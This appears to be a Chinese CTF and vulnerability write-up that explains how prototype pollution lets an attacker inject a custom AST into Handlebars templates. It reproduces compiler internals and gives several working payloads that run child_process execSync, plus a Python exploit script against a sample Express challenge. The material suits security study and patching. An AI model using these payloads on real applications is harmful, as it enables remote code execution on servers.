作者 修订时间
wjlin0 2025-10-14 20:53:34

Handlebars AST注入 配合原型链污染

详细分析Handlebars AST注入

原理图

image-20210925022250921

handlebarsparser在解析NumberLiteral类型的字符串时会使用Number()函数进行强制转换,正常情况下这个字符串只能数字,但是用过原型链污染我们可以构造一个非数字型的字符串

// node_modules\handlebars\dist\cjs\handlebars\compiler\parser.js

case 35:
    this.$ = { type: 'StringLiteral', value: $$[$0], original: $$[$0], loc: yy.locInfo(this._$) };
    break;
case 36:
    this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
    break;

在将AST编译为函数时,handlebarspushString将字符串传到opcode中,用pushLiteral将数字和布尔值传入到opcode中,而这个opcode就是之后用来构造模板函数的,Literal类型在AST中表示变量的意思,具体可以参考Esprima语法树标准,所以我们下面我们能够利用的类型有NumberLiteralBooleanLiteral

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  StringLiteral: function StringLiteral(string) {
    this.opcode('pushString', string.value); // 字符串使用pushString
  },

  NumberLiteral: function NumberLiteral(number) { 
    this.opcode('pushLiteral', number.value); // 数字使用pushLiteral
  },

  BooleanLiteral: function BooleanLiteral(bool) {
    this.opcode('pushLiteral', bool.value);  // 布尔值使用pushLiteral
  },

  UndefinedLiteral: function UndefinedLiteral() {
    this.opcode('pushLiteral', 'undefined');
  },

  opcode: function opcode(name) {
    this.opcodes.push({
      opcode: name,
      args: slice.call(arguments, 1),
      loc: this.sourceNode[0].loc
    });
  },

那么我们如何调用这些函数呢,handlebars在编译语法树时会调用一个叫accept的函数来处理我们的语法树节点,他会调用node.type对应的构造函数来修改opcode,所以我们的重点也可以转换成如何控制accept(node)node值,且保证解析流程正常进行

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  accept: function accept(node) {
    /* istanbul ignore next: Sanity code */
    if (!this[node.type]) {
      throw new _exception2['default']('Unknown type: ' + node.type, node);
    }

    this.sourceNode.unshift(node);
    var ret = this[node.type](node); // 调用node.type对应的构造函数
    this.sourceNode.shift();
    return ret;
  },

Payload

原文作者采用的payload

Copy successfullyconst Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "loc": {
        "start": 0
    }
}];


var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

大概流程:

  1. type修改为Program绕过Lexer解析
  2. 污染Program中的body,注入自定义的AST
  3. compiler.js文件中找到可用Gadget,此Gadget能够控制accept(node)node值,原文作者利用的是MustacheStatement

漏洞分析

调用栈

compiler.js/ret()
    compiler.js/compileInput()
        base.js/parse()
            base.js/parseWithoutProcessing()
            visitor.js/accept()
        compiler.js/compile()
            compiler.js/accept()
                compiler.js/Program()
                    compiler.js/MustacheStatement()
                        compiler.js/NumberLiteral() <-- 注入payload
        javascript-compiler.js/compile()
            javascript-compiler.js/createFunctionContext <-- 生成模板函数体
        handlebars.runtime.js/create()
    runtime.js/ret()
        runtime.js/executeDecorators()
        anonymous/templateSpec.main()

解析入口

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  function ret(context, execOptions) {
    if (!compiled) {
      compiled = compileInput(); // 编译输入
    }
    return compiled.call(this, context, execOptions);
  }

解析AST

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  function compileInput() {
    var ast = env.parse(input, options), // 获取语法树
        environment = new env.Compiler().compile(ast, options), 
        templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
    return env.template(templateSpec);
  }

语法树解析

// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parse(input, options) {
  var ast = parseWithoutProcessing(input, options); // 转化为AST
  var strip = new _whitespaceControl2['default'](options);

  return strip.accept(ast); // 解析AST
}

这里的重点是将input.type污染为Program,从而绕过AST的转换阶段

// node_modules\handlebars\dist\cjs\handlebars\compiler\base.js

function parseWithoutProcessing(input, options) {
  // Just return if an already-compiled AST was passed in.
  if (input.type === 'Program') { // 如果已经是转换好的AST就直接返回
    return input;
  }

  _parser2['default'].yy = yy;

  // Altering the shared object here, but this is ok as parser is a sync operation
  yy.locInfo = function (locInfo) {
    return new yy.SourceLocation(options && options.srcName, locInfo);
  };

  var ast = _parser2['default'].parse(input); // 否则就调用Lexer解析节点生成AST

  return ast;
}

这里是递归解析语法树

// node_modules\handlebars\dist\cjs\handlebars\compiler\visitor.js

  accept: function accept(object) {
    if (!object) {
      return;
    }

    /* istanbul ignore next: Sanity code */
    if (!this[object.type]) {
      throw new _exception2['default']('Unknown type: ' + object.type, object);
    }

    if (this.current) {
      this.parents.unshift(this.current);
    }
    this.current = object;

    var ret = this[object.type](object); // 调用对应的构造函数解析AST

    this.current = this.parents.shift();

    if (!this.mutating || ret) {
      return ret;
    } else if (ret !== false) {
      return object;
    }
  },

编译环境变量

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  function compileInput() {
    var ast = env.parse(input, options), 
        environment = new env.Compiler().compile(ast, options), // 编译环境变量
        templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true);
    return env.template(templateSpec);
  }
// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  compile: function compile(program, options) {
    this.sourceNode = [];
    this.opcodes = [];
    this.children = [];
    this.options = options;
    this.stringParams = options.stringParams;
    this.trackIds = options.trackIds;

    options.blockParams = options.blockParams || [];

    options.knownHelpers = _utils.extend(Object.create(null), {
      helperMissing: true,
      blockHelperMissing: true,
      each: true,
      'if': true,
      unless: true,
      'with': true,
      log: true,
      lookup: true
    }, options.knownHelpers);

    return this.accept(program); // 传入accept函数进行处理
  },

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  accept: function accept(node) {
    /* istanbul ignore next: Sanity code */
    if (!this[node.type]) {
      throw new _exception2['default']('Unknown type: ' + node.type, node);
    }

    this.sourceNode.unshift(node);
    var ret = this[node.type](node); // 提取AST对应的type并调用该构造函数
    this.sourceNode.shift();
    return ret;
  },

第一次node.type被污染为program

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  Program: function Program(program) { // 利用Program类来自定义类
    this.options.blockParams.unshift(program.blockParams);

    var body = program.body, // 通过污染body插入我们的恶意代码
        bodyLength = body.length;
    for (var i = 0; i < bodyLength; i++) {
      this.accept(body[i]); // 提取我们的body继续调用accept进行解析
    }

    this.options.blockParams.shift();

    this.isSimple = bodyLength === 1;
    this.blockParams = program.blockParams ? program.blockParams.length : 0;

    return this;
  },

第二次node.type为自定义的MustacheStatement

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  MustacheStatement: function MustacheStatement(mustache) {
    this.SubExpression(mustache); // 1

    if (mustache.escaped && !this.options.noEscape) {
      this.opcode('appendEscaped');
    } else {
      this.opcode('append'); // 如果没有设置escaped的话就进行append操作
    }
  },

  SubExpression: function SubExpression(sexpr) {
    transformLiteralToPath(sexpr);
    var type = this.classifySexpr(sexpr);

    if (type === 'simple') {
      this.simpleSexpr(sexpr);
    } else if (type === 'helper') {
      this.helperSexpr(sexpr); // 2
    } else {
      this.ambiguousSexpr(sexpr);
    }
  },

  helperSexpr: function helperSexpr(sexpr, program, inverse) {
    var params = this.setupFullMustacheParams(sexpr, program, inverse), // 3
        path = sexpr.path,
        name = path.parts[0];

    if (this.options.knownHelpers[name]) {
      this.opcode('invokeKnownHelper', params.length, name);
    } else if (this.options.knownHelpersOnly) {
      throw new _exception2['default']('You specified knownHelpersOnly, but used the unknown helper ' + name, sexpr);
    } else {
      path.strict = true;
      path.falsy = true;

      this.accept(path);
      this.opcode('invokeHelper', params.length, path.original, _ast2['default'].helpers.simpleId(path));
    }
  },

  setupFullMustacheParams: function setupFullMustacheParams(sexpr, program, inverse, omitEmpty) {
    var params = sexpr.params;
    this.pushParams(params); // 4

    this.opcode('pushProgram', program);
    this.opcode('pushProgram', inverse);

    if (sexpr.hash) {
      this.accept(sexpr.hash);
    } else {
      this.opcode('emptyHash', omitEmpty);
    }

    return params;
  },

  pushParams: function pushParams(params) {
    for (var i = 0, l = params.length; i < l; i++) {
      this.pushParam(params[i]); // 5
    }
  },

  pushParam: function pushParam(val) {
    var value = val.value != null ? val.value : val.original || '';

    if (this.stringParams) {
      if (value.replace) {
        value = value.replace(/^(\.?\.\/)*/g, '').replace(/\//g, '.');
      }

      if (val.depth) {
        this.addDepth(val.depth);
      }
      this.opcode('getContext', val.depth || 0);
      this.opcode('pushStringParam', value, val.type);

      if (val.type === 'SubExpression') {
        // SubExpressions get evaluated and passed in
        // in string params mode.
        this.accept(val);
      }
    } else {
      if (this.trackIds) {
        var blockParamIndex = undefined;
        if (val.parts && !_ast2['default'].helpers.scopedId(val) && !val.depth) {
          blockParamIndex = this.blockParamIndex(val.parts[0]);
        }
        if (blockParamIndex) {
          var blockParamChild = val.parts.slice(1).join('.');
          this.opcode('pushId', 'BlockParam', blockParamIndex, blockParamChild);
        } else {
          value = val.original || value;
          if (value.replace) {
            value = value.replace(/^this(?:\.|$)/, '').replace(/^\.\//, '').replace(/^\.$/, '');
          }

          this.opcode('pushId', val.type, value);
        }
      }
      this.accept(val); // 6 很巧妙地将我们的payload再次传入accept函数
    }
  },

第三次node.typeNumberLiteral

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  StringLiteral: function StringLiteral(string) {
    this.opcode('pushString', string.value);
  },

  NumberLiteral: function NumberLiteral(number) { 
    this.opcode('pushLiteral', number.value); // 将我们的payload识别为Literal而直接转进构造函数
  },

  BooleanLiteral: function BooleanLiteral(bool) {
    this.opcode('pushLiteral', bool.value); 
  },

  UndefinedLiteral: function UndefinedLiteral() {
    this.opcode('pushLiteral', 'undefined');
  },

后面还有一系列对opcode的操作,均为MustacheStatement语法树的编译过程,下图是编译好MustacheStatement语法树之后opcodes的全部操作,而我们的payload就被注入了第一个

image-20210925113821867

编译模板

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  function compileInput() {
    var ast = env.parse(input, options), 
        environment = new env.Compiler().compile(ast, options),
        templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); // 将我们的环境变量传进去来编译templateSpec
    return env.template(templateSpec);
  }
// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

  compile: function compile(environment, options, context, asObject) {
    this.environment = environment;
    this.options = options;
    this.stringParams = this.options.stringParams;
    this.trackIds = this.options.trackIds;
    this.precompile = !asObject;

    this.name = this.environment.name;
    this.isChild = !!context;
    this.context = context || {
      decorators: [],
      programs: [],
      environments: []
    };

    this.preamble();

    this.stackSlot = 0;
    this.stackVars = [];
    this.aliases = {};
    this.registers = { list: [] };
    this.hashes = [];
    this.compileStack = [];
    this.inlineStack = [];
    this.blockParams = [];

    this.compileChildren(environment, options);

    this.useDepths = this.useDepths || environment.useDepths || environment.useDecorators || this.options.compat;
    this.useBlockParams = this.useBlockParams || environment.useBlockParams;

    var opcodes = environment.opcodes,
        opcode = undefined,
        firstLoc = undefined,
        i = undefined,
        l = undefined;

    for (i = 0, l = opcodes.length; i < l; i++) {
      opcode = opcodes[i];

      this.source.currentLocation = opcode.loc;
      firstLoc = firstLoc || opcode.loc;
      this[opcode.opcode].apply(this, opcode.args); // 这里就是使用我们opcode的操作,然后会把结果存到this.source.SourceNode中
    }

    // Flush any trailing content that might be pending.
    this.source.currentLocation = firstLoc;
    this.pushSource('');

    /* istanbul ignore next */
    if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
      throw new _exception2['default']('Compile completed with content left on stack');
    }

    if (!this.decorators.isEmpty()) {
      this.useDecorators = true;

      this.decorators.prepend(['var decorators = container.decorators, ', this.lookupPropertyFunctionVarDeclaration(), ';\n']);
      this.decorators.push('return fn;');

      if (asObject) {
        this.decorators = Function.apply(this, ['fn', 'props', 'container', 'depth0', 'data', 'blockParams', 'depths', this.decorators.merge()]);
      } else {
        this.decorators.prepend('function(fn, props, container, depth0, data, blockParams, depths) {\n');
        this.decorators.push('}\n');
        this.decorators = this.decorators.merge();
      }
    } else {
      this.decorators = undefined;
    }

    var fn = this.createFunctionContext(asObject); // 创建模板的函数体
    if (!this.isChild) {
      var ret = {
        compiler: this.compilerInfo(),
        main: fn
      };

      if (this.decorators) {
        ret.main_d = this.decorators; // eslint-disable-line camelcase
        ret.useDecorators = true;
      }

      var _context = this.context;
      var programs = _context.programs;
      var decorators = _context.decorators;

      for (i = 0, l = programs.length; i < l; i++) {
        if (programs[i]) {
          ret[i] = programs[i];
          if (decorators[i]) {
            ret[i + '_d'] = decorators[i];
            ret.useDecorators = true;
          }
        }
      }

      if (this.environment.usePartial) {
        ret.usePartial = true;
      }
      if (this.options.data) {
        ret.useData = true;
      }
      if (this.useDepths) {
        ret.useDepths = true;
      }
      if (this.useBlockParams) {
        ret.useBlockParams = true;
      }
      if (this.options.compat) {
        ret.compat = true;
      }

      if (!asObject) {
        ret.compiler = JSON.stringify(ret.compiler);

        this.source.currentLocation = { start: { line: 1, column: 0 } };
        ret = this.objectLiteral(ret);

        if (options.srcName) {
          ret = ret.toStringWithSourceMap({ file: options.destName });
          ret.map = ret.map && ret.map.toString();
        } else {
          ret = ret.toString();
        }
      } else {
        ret.compilerOptions = this.options;
      }

      return ret;
    } else {
      return fn;
    }
  },

执行opcodepushLiteral的具体实现流程

// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js


  // [pushLiteral]
  //
  // On stack, before: ...
  // On stack, after: value, ...
  //
  // Pushes a value onto the stack. This operation prevents
  // the compiler from creating a temporary variable to hold
  // it.  
  pushLiteral: function pushLiteral(value) { // 注释也已经很清楚了
    this.pushStackLiteral(value); 
  },

  pushStackLiteral: function pushStackLiteral(item) {
    this.push(new Literal(item));
  },

  function Literal(value) {
      this.value = value;
  }

  push: function push(expr) {
    if (!(expr instanceof Literal)) {
      expr = this.source.wrap(expr);
    }

    this.inlineStack.push(expr);
    return expr;
  },

在执行最后的append操作的时候会将inlineStack中的内容pop出来加入到Source

// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

  append: function append() {
    if (this.isInline()) {
      this.replaceStack(function (current) {
        return [' != null ? ', current, ' : ""'];
      });

      this.pushSource(this.appendToBuffer(this.popStack()));
    } else {
      var local = this.popStack();
      this.pushSource(['if (', local, ' != null) { ', this.appendToBuffer(local, undefined, true), ' }']);
      if (this.environment.isSimple) {
        this.pushSource(['else { ', this.appendToBuffer("''", undefined, true), ' }']);
      }
    }
  },

这里是创建函数体上下文,将source中的东西转换成字符串函数

// node_modules\handlebars\dist\cjs\handlebars\compiler\javascript-compiler.js

  createFunctionContext: function createFunctionContext(asObject) {
    // istanbul ignore next

    var _this = this;

    var varDeclarations = '';

    var locals = this.stackVars.concat(this.registers.list);
    if (locals.length > 0) {
      varDeclarations += ', ' + locals.join(', ');
    }

    // Generate minimizer alias mappings
    //
    // When using true SourceNodes, this will update all references to the given alias
    // as the source nodes are reused in situ. For the non-source node compilation mode,
    // aliases will not be used, but this case is already being run on the client and
    // we aren't concern about minimizing the template size.
    var aliasCount = 0;
    Object.keys(this.aliases).forEach(function (alias) {
      var node = _this.aliases[alias];
      if (node.children && node.referenceCount > 1) {
        varDeclarations += ', alias' + ++aliasCount + '=' + alias;
        node.children[0] = 'alias' + aliasCount;
      }
    });

    if (this.lookupPropertyFunctionIsUsed) {
      varDeclarations += ', ' + this.lookupPropertyFunctionVarDeclaration();
    }

    var params = ['container', 'depth0', 'helpers', 'partials', 'data'];

    if (this.useBlockParams || this.useDepths) {
      params.push('blockParams');
    }
    if (this.useDepths) {
      params.push('depths');
    }

    // Perform a second pass over the output to merge content when possible
    var source = this.mergeSource(varDeclarations); // 把原本的source和varDeclarations拼接起来

    if (asObject) {
      params.push(source);

      return Function.apply(this, params);
    } else {
      return this.source.wrap(['function(', params.join(','), ') {\n  ', source, '}']); // 将source封装成函数
    }
  },

生成模板

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  function compileInput() {
    var ast = env.parse(input, options), 
        environment = new env.Compiler().compile(ast, options),
        templateSpec = new env.JavaScriptCompiler().compile(environment, options, undefined, true); 
    return env.template(templateSpec); // 生成模板
  }
// node_modules\handlebars\dist\cjs\handlebars.runtime.js

function create() {
  var hb = new base.HandlebarsEnvironment();

  Utils.extend(hb, base);
  hb.SafeString = _handlebarsSafeString2['default'];
  hb.Exception = _handlebarsException2['default'];
  hb.Utils = Utils;
  hb.escapeExpression = Utils.escapeExpression;

  hb.VM = runtime;
  hb.template = function (spec) {
    return runtime.template(spec, hb);
  };

  return hb;
}

模板函数执行

// node_modules\handlebars\dist\cjs\handlebars\compiler\compiler.js

  function ret(context, execOptions) {
    if (!compiled) {
      compiled = compileInput();
    }
    return compiled.call(this, context, execOptions); // 执行函数获取返回值
  }
// node_modules\handlebars\dist\cjs\handlebars\runtime.js

  function ret(context) {
    var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];

    var data = options.data;

    ret._setup(options);
    if (!options.partial && templateSpec.useData) {
      data = initData(context, data);
    }
    var depths = undefined,
        blockParams = templateSpec.useBlockParams ? [] : undefined;
    if (templateSpec.useDepths) {
      if (options.depths) {
        depths = context != options.depths[0] ? [context].concat(options.depths) : options.depths;
      } else {
        depths = [context];
      }
    }

    function main(context /*, options*/) {
      return '' + templateSpec.main(container, context, container.helpers, container.partials, data, blockParams, depths); 
    }

    main = executeDecorators(templateSpec.main, main, container, options.depths || [], data, blockParams); // 对main函数进行装饰
    return main(context, options); // 执行main函数
  }

被污染的函数

(function anonymous(container,depth0,helpers,partials,data
) {
  var stack1, lookupProperty = container.lookupProperty || function(parent, propertyName) {
        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
          return parent[propertyName];
        }
        return undefined
    };

  return ((stack1 = (lookupProperty(helpers,"undefined")||(depth0 && lookupProperty(depth0,"undefined"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(process.mainModule.require('child_process').execSync('calc.exe').toString()),{"name":"undefined","hash":{},"data":data,"loc":{"start":0,"end":0}})) != null ? stack1 : "");

})

总结

  1. 漏洞核心在于污染编译过程中的pushLiteral操作,其中可以用到NumberLiteral类型和BooleanLiteral类型

  2. typeProgram绕过Lexer解析器,从compiler.js找到可用的Gadget

  3. 在寻找Gadget时注意保持语法树的栈平衡,不然会在编译的时候抛出如下错误,这也是为什么我们需要借助MustacheStatement类型注入我们的payload,而不能直接将NumberLiteral注入到body

    /* istanbul ignore next */
    if (this.stackSlot || this.inlineStack.length || this.compileStack.length) {
      throw new _exception2['default']('Compile completed with content left on stack');
    }
    

拓展

BooleanLiteral

NumberLiteral替换为BooleanLiteral

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "params": [{
        "type": "BooleanLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "path": 0,
    "loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

PartialStatement

MustacheStatement改为PartialStatement

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "PartialStatement",
    "name": "",
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }]
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

PartialBlockStatement

MustacheStatement改为PartialBlockStatement

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "PartialBlockStatement",
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "name": 0,
    "openStrip": 0,
    "closeStrip": 0,
    "program": { "body": 0 },
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

BlockStatement

MustacheStatement改为BlockStatement

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "BlockStatement",
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "path": 0,
    "loc": 0,
    "openStrip": 0,
    "closeStrip": 0,
    "program": { "body": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

Decorator

触发点和上面的有所差异,这个是在装饰main函数的时候插入自定义代码

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "Decorator",
    "params": [{
        "type": "NumberLiteral",
        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
    }],
    "path": 0,
    "loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

inf Hash

无限内嵌Hash类型

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
    "type": "MustacheStatement",
    "params": [{
        "type": "Hash",
        "pairs": [{
            "value":{
                "type": "Hash",
                "pairs": [{
                    "value":{
                        "type": "NumberLiteral",
                        "value": "console.log(process.mainModule.require('child_process').execSync('calc.exe').toString())"
                }}]
        }}]
    }],
    "path": 0,
    "loc": { "start": 0 }
}];

var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
console.log(template({}));

例题

const express = require('express');
const app = express();
const fs = require("fs")
const mergeValue = require("merge-value")
const bodyParser = require('body-parser')
const handlebars = require("handlebars");
app.use(bodyParser.json())

/*
"dependencies": {
    "body-parser": "^1.19.0",
    "express": "^4.17.1",
    "merge-value": "^0.1.1",
    "handlebars": "^4.7.7"
  }
 */
app.post('/template', function (req, res) {
    let defaultTemplate = {
        "text": {
            "title": "WriteUp"
        },
        "template": "{{this.title}}{{this.body}}",
        "waf": {
            "black1": "__proto__",
            "black2": "programa"
        }
    }
    //禁止覆盖原始的waf值
    if(req.body.wafkey && req.body.wafdata) {
        if (defaultTemplate["waf"][req.body.wafkey]) {
            defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey]
        } else {
            defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey]
        }
    }
    //取出所有的waf值
    let waf = defaultTemplate["waf"]
    let wafList = []
    for(let wafWord in waf){
        wafList.push(waf[wafWord])
    }
    for(let requestKey in req.body){
        if(typeof req.body[requestKey] === 'string'){
            for(let index in wafList){
                if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){
                    res.send("waf");
                    return;
                }
            }
        }
    }
    let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data)
    // console.log(templateData,defaultTemplate)
    let template = handlebars.compile(templateData["template"]);
    res.send(template(templateData["text"]));
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});


app.get('/src', function (req, res) {
    var data = fs.readFileSync('index.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

注意题目环境

{
  "dependencies": {
    "body-parser": "1.19.0",
    "express": "4.17.1",
    "handlebars": "4.7.6",
    "merge-value": "1.0",
    "mixin-deep": "^1.2.0",
    "set-value": "^2.0.0"
  }
}

这里可以通过 mergeValue 原型链污染,去污染 templateData["text"]__proto__ ,由于前面总结的很到位我这里就补充一下,这里是wp

import requests

payload = {
    "__proto__": {
        "type": "Program",
        "body": [{
            "type": "MustacheStatement",
            "path": 0,
            "params": [{
                "type": "NumberLiteral",
                "value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())"
            }],
            "loc": {
                "start": 0
            }
        }]
    }
}

url = "http://192.168.3.91:3000/template"
data = {
    "pathKey": "text",
    "data": payload
}
print(data)
text = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})
print(text.text)

image-20251014205208357

results matching ""

    No results matching ""